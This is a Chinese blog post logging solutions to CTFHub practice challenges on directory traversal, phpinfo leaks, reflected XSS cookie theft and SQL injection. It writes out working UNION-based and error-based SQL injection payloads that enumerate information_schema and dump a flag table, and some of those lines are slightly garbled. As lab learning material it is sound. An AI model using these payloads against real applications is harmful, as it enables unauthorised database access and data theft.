CTFHUUB做题记录(实时更新)

CTFHUB做题记录

信息泄露

题目一:目录遍历:
题目中出现了四个目录,根据题目提示,点击目录就能获得flag,所以一个一个目录点开,还是没有找到时,继续点击链接第二次进入目录,一步一步点开,根据目录下的内容,就可以获得flag

题目二:phpinfo
phpinfo是php内置函数,用于以网页的形式输出php的具体配置信息,并不存在于某个文件夹中。
用法:bool phpinfo([ int $what=INFO_ALL])
输出php当前状态的大量信息,包含有php编译选项,启用的扩展,php版本,服务器信息和编译环境,PHP环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP 头和PHP授权信息(License)。
phpinfo()常用于系统上检查配置设置和于定义变量
本题中在phpinfo中的环境里可以寻找了到flag

XSS

题目一:反射型
XSS允许恶意web用户将代码植入到提供给其它用户使用的页面中。
能注入恶意的HTML/JavaScript代码到用户浏览器网址上,从而劫持会话
练习:
了解到:
我们一般用xss的一般用途是为了获取cookie(相当于别人的凭证)获取到别人的cookie之后,不需要输入密码直接登陆即可。
他的题目就是为了获取别人cookie,从而在信息中找到flag
Send URL to Bot :的意思就是获取机器人的信息,模拟别人点击这个包含xss的链接的情形。

sql注入

是指服务器未严格校验客户端发送过来的数据,而导致服务端sql语句呗恶意的修改并成功执行的行为

原因:
代码对带sql语句的sql过滤不严格
未启用框架的安全配置 php的magic_quotes_gpc
未使用框架完全的查询方法
测试接口未删除
未启用防火墙
未使用其他的安全防护设备

漏洞的危害:(任何和数据库交互的地方都有注入)
数据库信息被泄露,网页被篡改
网站被挂马,传播恶意软件
服务器被远程控制被安装后门。

数字攻击:

例子:正常sql语句:select * from mytable where id=1
攻击sql语句:select * from mytable where id=-1 or 1=1
(让id等于一个不存在的值,后边拼接一个永远成立的值)

字符串攻击

原理跟数字攻击类似,字符串攻击主要是利用“代码注释”的特性,在sql代码中用于注释的符号有:“#”,“–”
正常sql语句:select * from mytable where name=‘a’ and p=‘123’
攻击sql语句:select * from mytable where name=‘a’ # and p=‘123’
攻击语句执行的时候,传递的参数为 " a’# "(注意 a 后面的 ’ 符号,这是闭合SQL语句的关键),pwd的值无所谓了(因为已经被当做注释,不执行了),这样就可以不通过pwd信息就能查到name = a 的相关信息

整型注入:
判断是否有注入(判断是否有严格校验)
1,可控参数的改变能否影响页面的结果
2,输入的sql语句时候能够报错,你通过数据库的报错,看到数据库的一些语句痕迹(select username,password from user where id=’?’#’ limit 0,1)
3,输入的sql语句能否不报错,我们的语句能够成功闭合
什么类型的注入
语句是否被恶意修改(where id=1 and 0(为假))
是否能够成功执行
获取我们想要的数据
所有的内容包含在数据库中表里的某个字段的值
mysql有自带的表(mysql,information_schema)
由table_schema查找表table_name再查找表里的column_name某个字段
查询当前数据库名
id=4 union select 1,database()

题目一:整形注入:
判断是否注入:
输入id=1或者id=1’或者id=1 and 2 查看是否报错
输入id=1 order by 1((查询字段数量,根据数字分布列数,上一个数可以执行,在下一个的一个执行时出现错误,这数值为中间那个,采用二分法)

查询sql插入位置:输入id=1 union select1,2…
获取数据库名:把2位置分别修改为database(),version() (版本号)
获取所有数据库名:id=-1 union select 1,group_concat(schema_name)from information_schema.schemata
逐条获取数据库名:select schema_name from information_schema.schemata limit 0,1;

获取数据库所有表名id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘sqli’
逐条获取数据库表名:select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1;

获取所有字段名;id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’
获取一个字段名(以flag为例子)id=-1 union select 1,(select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1)

获取所有数据:id=-1 union select 1,group_concat(flag) from sqli.flag
获取一条数据:

题目二:字符型注入:
格式为1’ union select 1,2 – ’
例如获取一条数据:id=’ union select 1,group_concat(flag) from sqli.flag – ’

题目三:
报错注入:报错注入的原理在于三个函数:count(*),rand(),floor()以及group by
.floor()函数向下取整,去掉小数部分
.rand()是随机取(0,1)中的一个数,但是给它一个参数后0,rand(0),并且传给floor()后,即:floor(rand(0)*2)它就不再是随机了,序列0110110报错的时候会把数据库名给爆出来。

原理:group by 查询时,先建立一个空表,用来临时存储数据,
开始查询,group by x(建立的一个别名),序列一开始为0,临时空表里不存在就填入,之后 select 中也有rand(),值为1,插入1;
查询第二条,值为1,原有值加1
查第三条,值为0,则插入select的值,为1,与原有值冲突报错
0x26==&;
第一步(获取数据库名):1 Union select count(*),concat(database(),0x26,floor(rand(0)2))x from information_schema.columns group by x;
第二步:(获取表名)(把database()改为):1 Union select count(
),concat((select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1),0x26,floor(rand(0)2))x from information_schema.columns group by x
第三步:获取字段:1 Union select count(
),concat((select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1),0x26,floor(rand(0)2))x from information_schema.columns group by x
第四步,获取数据:1 Union select count(
),concat((select flag from flag limit 0,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值